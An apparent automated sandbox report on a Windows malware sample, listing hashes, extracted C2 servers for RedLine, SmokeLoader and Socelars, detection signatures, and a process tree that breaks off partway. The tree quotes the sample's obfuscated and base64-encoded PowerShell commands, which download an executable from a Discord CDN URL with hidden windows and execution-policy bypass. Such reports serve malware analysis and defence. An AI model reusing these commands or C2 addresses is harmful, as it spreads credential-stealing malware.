Overview

overview

10

Static

static

01a53007f9...68.exe

windows10_x64

10

022e3c30a1...66.exe

windows10_x64

10

02ca2b5bb7...35.exe

windows10_x64

10

0d69cafe70...cd.exe

windows10_x64

10

0df647f0a2...bc.exe

windows10_x64

10

1df367eead...2c.exe

windows10_x64

10

1e083736ae...33.exe

windows10_x64

10

1e662d9025...7d.exe

windows10_x64

10

2010009ff5...59.exe

windows10_x64

10

243379992d...93.exe

windows10_x64

10

2d63a14e4a...1a.exe

windows10_x64

10

30e6815ae0...51.exe

windows10_x64

1

364d3b0e94...fa.exe

windows10_x64

10

3a4e2dfbd7...00.exe

windows10_x64

10

4a4a606501...75.exe

windows10_x64

10

4d89b00768...c0.exe

windows10_x64

10

5524bfd826...5f.exe

windows10_x64

10

582bd655f4...9b.exe

windows10_x64

10

588b74dc8e...70.exe

windows10_x64

10

609accbb14...2b.exe

windows10_x64

10

620a9a3efa...11.exe

windows10_x64

10

623bb62b2b...7c.exe

windows10_x64

10

642c69b710...bc.exe

windows10_x64

10

6e18165c4a...34.exe

windows10_x64

10

78a82aa6d4...cd.exe

windows10_x64

8

809ed9e2d0...41.exe

windows10_x64

10

82bf2273f6...2f.exe

windows10_x64

10

9bd142ecfe...06.exe

windows10_x64

10

9c4880a98c...82.exe

windows10_x64

10

9d608ed375...11.exe

windows10_x64

10

9ed5bbddf1...6e.exe

windows10_x64

10

a1dad4a83d...c4.exe

windows10_x64

10

Resubmissions

10-11-2021 14:52

211110-r84p8aedej 10

09-11-2021 13:19

211109-qkrv3sfcg4 10

Analysis

  • max time kernel
    241s
  • max time network
    346s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    10-11-2021 14:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375.exe

  • Size

    5.0MB

  • MD5

    2b0ce83a2a1065ef402b7a50f45892fd

  • SHA1

    d66a565247f9df9ac0bdb3725eee121e98d8914d

  • SHA256

    4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375

  • SHA512

    42d19f0130d34a3b37e78b6f1ba9c3c7e07d99e0a76dc005be976c51c2a363e64d475b9caa6805d3e8c1da2a4d32020f307eaae68b41d8c815ae1da8ec0db2ca

Score
10/10
redlinesmokeloadersocelars05.10backdoordiscoveryevasioninfostealerspywarestealersuricatathemidatrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://cdn.discordapp.com/attachments/523238636561629190/894846072097218580/ghielufuzymmuibugkhmviaajvfwio.exe

Extracted

Family

socelars

C2

http://www.iyiqian.com/

http://www.hbgents.top/

http://www.rsnzhy.com/

http://www.znsjis.top/

http://www.hhgenice.top/

Extracted

Family

redline

Botnet

05.10

C2

80.92.205.116:59599

Extracted

Family

smokeloader

Version

2020

C2

http://gmpeople.com/upload/

http://mile48.com/upload/

http://lecanardstsornin.com/upload/

http://m3600.com/upload/

http://camasirx.com/upload/
rc4.i32
rc4.i32

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 4 IoCs
  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata
  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata
  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2

    suricata
  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Downloads MZ/PE file
  • Executes dropped EXE 34 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 17 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:352
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
      1⤵
      • Drops file in System32 directory
      PID:1032
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
      1⤵
        PID:1184
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Themes
        1⤵
          PID:1204
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s UserManager
          1⤵
            PID:1412
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1424
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
              1⤵
                PID:2332
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                1⤵
                  PID:2384
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2592
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s Browser
                  1⤵
                    PID:2540
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                    1⤵
                      PID:2612
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                      1⤵
                        PID:1916
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s BITS
                        1⤵
                        • Suspicious use of SetThreadContext
                        • Modifies registry class
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4612
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                          2⤵
                          • Drops file in System32 directory
                          • Checks processor information in registry
                          • Modifies data under HKEY_USERS
                          • Modifies registry class
                          PID:3596
                      • C:\Users\Admin\AppData\Local\Temp\4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375.exe
                        "C:\Users\Admin\AppData\Local\Temp\4a4a606501eea3b8b9e128412455243ca20de0efe374c9c47ff3b5caac457375.exe"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4336
                        • C:\Users\Admin\AppData\Local\Temp\Graphics.exe
                          "C:\Users\Admin\AppData\Local\Temp\Graphics.exe"
                          2⤵
                          • Executes dropped EXE
                          • Checks computer location settings
                          • Suspicious use of WriteProcessMemory
                          PID:4384
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Graphicss.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Graphicss.exe"
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:872
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" [StriNG]::JOiN('', ( '20<22>24T28>73T45T54O2dr69T74O65O6dr20r20T27<56<61O72>49T41>42r6c~45j3ar6f<66O53j27O20O27~27>20~29j20~22%2b>5b>53%54O72%49j6er67j5d>28<20<27r32T34O47O37T35r2dj37O32r7er36~63<57<36r34>59O32O30%47T33~64O2d<32%30%7eO32%37>2dr36~38%7ej37%34>3b%37r34<57%37%30%2dO37T33O6fT33>61<3b<32T66T47T32j66>47O36j33O59O36j34>7e<36<65r48<32~65j57~36<34>7e<36r39O48~37<33O47T36%33r48~36j66r7ej37r32~48>36r34~47>36r31O3b~37T30j48T37<30O48>32>65T48O36%33j48j36<66T47<36%64O2d%32j66~3br36T31j59<37%34j47~37<34O59O36~31<3b~36r33T48~36~38>6fj36>64<57~36%35r3bO36>65<48O37j34j59j37%33r7ej32O66T57%33%35T47T33~32%7er33r33<2dT33O32T6f<33<33r3b<33%38O59O33j36~59O33~33>3bT33>36O6f>33%35r57<33T36%7ej33j31j57~33~36j57%33T32~47O33O39>47~33%31r57<33~39T7e<33<30j3b<32%66r7e>33j38T6fj33j39<48O33~34r3br33T38<57T33T34<57j33~36~6fr33O30T7e<33~37r48O33<32%59~33r30O2dT33T39>47O33>37T48r33O32O2dr33<31j48r33%38j47<33%35%7e%33O38O48>33T30<3br32j66T57r36O37r3b~36O38j57>36T39j48T36<35j57<36T63~2d>37~35T59O36>36%2dO37~35r2dT37<61<3br37>39j48O36r64O6f%36%64~48T37T35<3br36O39>47>36O32>6f%37r35<7e>36%37j57O36O62%47O36T38O7e<36~64~2dj37r36>59j36j39T48O36>31O59%36O31T59r36O61O2d<37r36>3bj36<36~6f~37T37r6fr36%39%59~36r66~6f>32r65~47%36T35r3b<37r38j6fT36>35O7e>32j37j6fO33%62>59%32r34%2dO37%30>59O36>31O48j37T34O7ej36>38r6fr32<30<7e>33j64r57j32O30r6f>32%34j3b%36%35<2d>36%65T6fO37<36j3bT33r61~3b>35j34%48r34>35<59<34O64%2dj35j30>59%32~62>3b%32%32r59<36O38T2dr36%62~6f~36O36~2dO36O64j57%37~38r6f~36>37%59r36T36<48r36<34>3bj36j32r59T36~63O47j36r62>2dj36r34O47r36r33~59<36<37r3bj36<39~7e<37T38T48T36%62O57r36O36T47r36j62~59O37<33>2d<36O61~3bT36r63r2dr36j37T3b%36O64T7e~36O36j57T36>62O7er36>66<57~36T36j57r36j37j2dj37>35<7e<32j65%2dj36>35>7er37>38%59>36j35T47j32>32>47<33r62r57j32j34r7e~37%33>59O36<33r57~37r32O48j36r39O6f>37<30>2d~37r34O57O37T32j3bj37>35r2dj36O65>57r32~30%2dr33j64~57~32~30j7eO32>32>59%37r30T2dj36T66j48T37j37>6fO36<35<57<37j32r6fr37j33T2dr36>38<48>36T35~7eO36<63<59<36<63~7er32%65<3bT36<35T3b~37T38~3br36j35r3b<32j30~57~32<64T2d%36%33T3bO36>66~7e>36<64O59O36T64T59%36j31~47>36j65>48>36~34O7eT32T30T57O35T30<2dT36%66<3bj37j37>48<36O35~48T37>32%47%35>33~6f~36r38>57T36%35T48<36r63~2d>36j63~6fj32<30<3bT32%64j47<34j35T2dj37~38>7er36~35<6f>36j33%59T37O35<57T37j34j3b<36O39>2d>36T66T3b%36O65j3bO35<30~47~36r66j2d>36%63r59~36%39r2d<36T33>2dj37T39~59~32O30O57<36r32<48O37r39j47~37~30>6f>36T31<6fO37r33~3bj37<33T2d~32>30O48j32r64>48j36~65%48%36r66<3bO37>30<2dr37r32>48%36r66O2dT36>36O2d<36>39>59T36j63<3b>36<35r3bT32<30O47>32>64>3bj37<37>47>36%39<48j36~65>2d<36%34r6fj36~66r7er37>37O57r37~33T57O37r34<6f~37<39~3b>36~63j48<36>35%57<32>30>48r36T38O7eO36j39<7e<36r34j57T36<34O59O36j35T7e>36<65%59%32O30>47<32j64r3br36r33T6fj36O66~7e~36%64j59T36%64<48%36>31r3br36j65j3b~36>34j7eO32~30~48>35<33<47O37<34>47~36%31%2dj37j32>2dr37%34T7ej32r64~6fO34>32%3bO36%39T48~37j34T48O37>33%3b%35<34>48T37O32>48<36<31T2d~36T65r48j37>33T7e~36r36r7er36>35j3bj37O32<7e%32T30<48O32%64j47j35>33j6f>36r66<57>37O35T6f%37>32O57r36O33T3br36r35O57r32T30j59<32j34O47T37>35%48>37>32~47<36~63%7e~36r34O3br32~30~6fO32j64>6fr34r34<3b%36j35T47%37%33>47<37r34r3bj36O39~47%36j65~3b%36<31j47T37T34%48O36j39r3bj36>66O6f>36O65O2d>32%30>3bT32%34~59<37T30~7e~36<31~47<37~34j59%36>38>7e~33r62%59<32~32<47O33~62<3bO32~34~2d<36%32j7eT36~31%57%37T33>7eT36O35O7ej33j36~2d>33>34j2d>32~30O48<33j64>3b%32T30j59>35<62~2d<34O33T3b>36%66%2d%36%65O7ej37O36r57T36T35O48O37%32j7eO37r34~47r35O64j57r33j61r3b>33O61r2d<35r34r7eO36~66T6fO34r32<47%36O31>7e%37T33<47~36O35r2dO33j36O6f~33r34T7er35<33<7e<37O34j3bT37<32~48r36j39O2dr36>65%7e>36T37<2d<32<38j59%35<62O57r35<33T2d>37r39%57~37T33<57%37T34>3b~36T35r48>36r64O57>32r65O2dj35r34O59~36T35r59r37<38r47>37j34r7eO32O65%47<34O35<7er36%65<3bT36r33<7er36j66>59r36~34>6f%36%39j6fO36%65>6f<36>37r2d~35~64j6f>33T61j3br33j61T7e>35j35T6fT36T65<2dT36<39<6f%36<33~7e<36T66~6f>36T34O6f>36O35T2dr32j65O3b~34j37T6fj36%35%48%37T34<57j34~32%6fr37<39T3bO37j34T48>36<35~6f%37T33j2d>32%38O3bj32r34<57O37<33~59~36r33~47~37<32r57%36j39r59<37%30~47~37%34~3b<37j32>47j37r35O48O36T65O2dT32%39<7eT32<39O7e%33j62O47%37%37<48j36%38<7e<36O39T47%36>63~48O36T35~47O32%30>48%32O38<6f%32>31~6fO35r62<47T35<33O3br37%39%48<37O33~7er37O34O2dO36<35<59j36<64~47T32O65<6fj34T39T48r34r66r6f<32%65O2d~34%36r2dj36%39>47T36O63T59j36j35<2d<35~64<6fO33~61r3b>33>61>47~34j35O48>37O38r3b~36O39%6fr37O33~47j37>34>57r37%33T2d>32~38>7e~32r34~6f>37~30%57O36j31%47O37j34%59T36<38~57>32%39~59O32O39<47r37%62O57r32<30T47j34~39%48~34<35%3bj35~38%59j32O30O48O32%32r3b>37>30>3br36%66<47O37<37T7ej36%35r57<37O32j59O37j33~2d%36~38>59<36~35%3b%36~63%48~36T63O48<32r30r59%32j64r2d%34j35%3b~32>30>3b~32<34%3b<36j32<3b<36r31%3b<37<33~48O36r35~3b>33~36%6fO33%34~59%32%32j57<33T62T3bT32>30r7e%36~32T47T37%32O3bj36%35>6fO36~31~6fj36r62~7ej33>62~3bj32j30<47j37T64>2dT32j30%6f<35>33<3bT37%34~47T36r31<6f<37O32T57~37T34j6fT32%64j3b<35T30r57~37O32%59T36>66O48T36T33T6f~36O35>47T37~33%47~37<33<2d~32O38>47j32r34O6fj36T35j48r36~65r3br37<36T59%33>61j48<35~34~59>34%35j48T34O64%57r35>30>48<32%62<57T32T37<3bO36%38O6fj36j62O7er36T36T48%36<64~47>37T38O7ej36T37j48>36~36r48<36j34>7e~36<32<3br36~63<3b~36~62~47<36T34<2dr36O33T7eT36T37T6f~36~39<48T37r38r57T36<62j59%36%36T7ej36T62O2d>37O33<2dT36>61<48~36O63O59j36O37%59T36T64j7e<36r36>3bT36T62%2d>36r66~48r36r36~3b<36j37r6fr37O35O48O32j65r7e>36O35r7eO37r38r3br36T35j48%32~37>59T32>39%3b~33~62>27O20~2dT53~70r6cO69%74>20O27<57T27>20~2dO73r70j4cj69<54O20O27~6fT27%2dr53~50r6cO49j54r27%48<27>2d~53T50r4c~49>54%20r27j2dT27<2dr53~50~4c~69O54~27<7ej27~2dr53>70%4cT49r54r20r27O59~27~20~2d>73O70T4cT49>54<27<47O27<20<2d%53>50O4cr69~54T27%3b<27<7c%46j6fT72%45>41%43%68>7b%20r28%20~5bT63%6fT6e~76>65>52<74%5d<3aj3a%54>4fO69<6e>74%31j36j28~20%28<20j24<5fj2e>74r6fT53>54<72>69<4e<67<28r29<20~29O20j2cj20O31O36>20%29%2d>41j73O20r5bj43T48T61<52r5d<29~20<7dT20r29j20>2b%22~24~28O20~73%76j20<27>6fT66j53%27<20r20~27r20r27T29T22T20O7cT69~6e~76r6fr4br45r2dj45O58%50>52%45%53<73~49<6f<4e' -Split'<'-spLIT'j'-SpliT '~'-Split'O'-SpLIT 'r' -SPlIT'>'-SpLIT 'T'-SpLIt '%'|foReACH{( [CHaR] ([CoNveRt]::tOINT16(( $_.TosTRiNG() ) ,16 ))) } ))|& ( $VErBOSEPrEfErence.TosTRinG()[1,3]+'X'-JoiN'')
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4288
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAUABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBjAG8AbQBtAGEAbgBkACAAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAIAAtAFMAbwB1AHIAYwBlACAAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8ANQAyADMAMgAzADgANgAzADYANQA2ADEANgAyADkAMQA5ADAALwA4ADkANAA4ADQANgAwADcAMgAwADkANwAyADEAOAA1ADgAMAAvAGcAaABpAGUAbAB1AGYAdQB6AHkAbQBtAHUAaQBiAHUAZwBrAGgAbQB2AGkAYQBhAGoAdgBmAHcAaQBvAC4AZQB4AGUAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAGgAawBmAG0AeABnAGYAZABiAGwAawBkAGMAZwBpAHgAawBmAGsAcwBqAGwAZwBtAGYAawBvAGYAZwB1AC4AZQB4AGUAOwA=
                                5⤵
                                  PID:632
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command Start-BitsTransfer -Source https://cdn.discordapp.com/attachments/523238636561629190/894846072097218580/ghielufuzymmuibugkhmviaajvfwio.exe -Destination C:\Users\Admin\AppData\Local\Temphkfmxgfdblkdcgixkfksjlgmfkofgu.exe
                                    6⤵
                                      PID:5796
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden -command Start-BitsTransfer -Source https://cdn.discordapp.com/attachments/523238636561629190/894846072097218580/ghielufuzymmuibugkhmviaajvfwio.exe -Destination C:\Users\Admin\AppData\Local\Temphkfmxgfdblkdcgixkfksjlgmfkofgu.exe
                                        7⤵
                                          PID:2520
                              • C:\Users\Admin\AppData\Local\Temp\FoxSBrowser.exe
                                "C:\Users\Admin\AppData\Local\Temp\FoxSBrowser.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3952
                              • C:\Users\Admin\AppData\Local\Temp\Process.exe
                                "C:\Users\Admin\AppData\Local\Temp\Process.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:3084
                              • C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe
                                "C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe"
                                2⤵
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4424
                              • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                2⤵
                                • Executes dropped EXE
                                • Modifies system certificate store
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:700
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c taskkill /f /im chrome.exe
                                  3⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4748
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im chrome.exe
                                    4⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1932
                              • C:\Users\Admin\AppData\Local\Temp\Files.exe
                                "C:\Users\Admin\AppData\Local\Temp\Files.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1160
                              • C:\Users\Admin\AppData\Local\Temp\Folder.exe
                                "C:\Users\Admin\AppData\Local\Temp\Folder.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1796
                              • C:\Users\Admin\AppData\Local\Temp\pub2.exe
                                "C:\Users\Admin\AppData\Local\Temp\pub2.exe"
                                2⤵
                                • Executes dropped EXE
                                • Checks SCSI registry key(s)
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious behavior: MapViewOfSection
                                PID:2156
                              • C:\Users\Admin\AppData\Local\Temp\Details.exe
                                "C:\Users\Admin\AppData\Local\Temp\Details.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:2300
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 692
                                  3⤵
                                  • Program crash
                                  PID:1284
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 672
                                  3⤵
                                  • Program crash
                                  PID:3204
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 712
                                  3⤵
                                  • Program crash
                                  PID:2632
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 884
                                  3⤵
                                  • Program crash
                                  PID:3872
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 1116
                                  3⤵
                                  • Program crash
                                  PID:4992
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 1232
                                  3⤵
                                  • Program crash
                                  PID:5992
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 1076
                                  3⤵
                                  • Program crash
                                  PID:5724
                              • C:\Users\Admin\AppData\Local\Temp\File.exe
                                "C:\Users\Admin\AppData\Local\Temp\File.exe"
                                2⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:2524
                                • C:\Users\Admin\Pictures\Adobe Films\HcwxRPR4YQHzhHlc4CZ1MhMR.exe
                                  "C:\Users\Admin\Pictures\Adobe Films\HcwxRPR4YQHzhHlc4CZ1MhMR.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  PID:5048
                                • C:\Users\Admin\Pictures\Adobe Films\jq7kONBBdrYEBUV1VzpQYofL.exe
                                  "C:\Users\Admin\Pictures\Adobe Films\jq7kONBBdrYEBUV1VzpQYofL.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of SetWindowsHookEx
                                  PID:1364
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                    4⤵
                                      PID:2828
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 556
                                      4⤵
                                      • Program crash
                                      PID:4460
                                  • C:\Users\Admin\Pictures\Adobe Films\YmD0FuOEd1Jd7GLBJS4CEZ3P.exe
                                    "C:\Users\Admin\Pictures\Adobe Films\YmD0FuOEd1Jd7GLBJS4CEZ3P.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:1520
                                  • C:\Users\Admin\Pictures\Adobe Films\DizTNLJDjyAkf94IG6i_2mHc.exe
                                    "C:\Users\Admin\Pictures\Adobe Films\DizTNLJDjyAkf94IG6i_2mHc.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2132
                                  • C:\Users\Admin\Pictures\Adobe Films\1t5IIXJ9GEsWqL799X_BcdHt.exe
                                    "C:\Users\Admin\Pictures\Adobe Films\1t5IIXJ9GEsWqL799X_BcdHt.exe"
                                    3⤵
                                      PID:3400
                                    • C:\Users\Admin\Pictures\Adobe Films\wHsaAgX5BJqPsXJehJyNu2Em.exe
                                      "C:\Users\Admin\Pictures\Adobe Films\wHsaAgX5BJqPsXJehJyNu2Em.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:3228
                                      • C:\Users\Admin\Pictures\Adobe Films\wHsaAgX5BJqPsXJehJyNu2Em.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\wHsaAgX5BJqPsXJehJyNu2Em.exe"
                                        4⤵
                                          PID:2720
                                      • C:\Users\Admin\Pictures\Adobe Films\2zWllbwFTwytp2GGqp3dpgfm.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\2zWllbwFTwytp2GGqp3dpgfm.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        PID:4420
                                      • C:\Users\Admin\Pictures\Adobe Films\M0cO5CnRGxFclqVu9WRhqKQS.exe
                                        "C:\Users\Admin\Pictures\Adobe Films\M0cO5CnRGxFclqVu9WRhqKQS.exe"
                                        3⤵
                                          PID:4776
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd.exe /c taskkill /f /im chrome.exe
                                            4⤵
                                              PID:2364
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /f /im chrome.exe
                                                5⤵
                                                • Kills process with taskkill
                                                • Modifies Internet Explorer settings
                                                PID:2316
                                          • C:\Users\Admin\Pictures\Adobe Films\rc9dI1XpgTb_5l4xbVpHI09O.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\rc9dI1XpgTb_5l4xbVpHI09O.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:1720
                                          • C:\Users\Admin\Pictures\Adobe Films\ZVxRLoZnELJWPTDgHhl1tHnk.exe
                                            "C:\Users\Admin\Pictures\Adobe Films\ZVxRLoZnELJWPTDgHhl1tHnk.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetWindowsHookEx
                                            PID:592
                                            • C:\Users\Admin\Pictures\Adobe Films\ZVxRLoZnELJWPTDgHhl1tHnk.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\ZVxRLoZnELJWPTDgHhl1tHnk.exe"
                                              4⤵
                                                PID:4388
                                            • C:\Users\Admin\Pictures\Adobe Films\NDqzPbBW25bCQPJ4AtOZB8tW.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\NDqzPbBW25bCQPJ4AtOZB8tW.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetWindowsHookEx
                                              PID:960
                                            • C:\Users\Admin\Pictures\Adobe Films\Q7_CNQPXpoJhGJT8ZRqODBVt.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\Q7_CNQPXpoJhGJT8ZRqODBVt.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetWindowsHookEx
                                              PID:2884
                                              • C:\Windows\SysWOW64\WerFault.exe
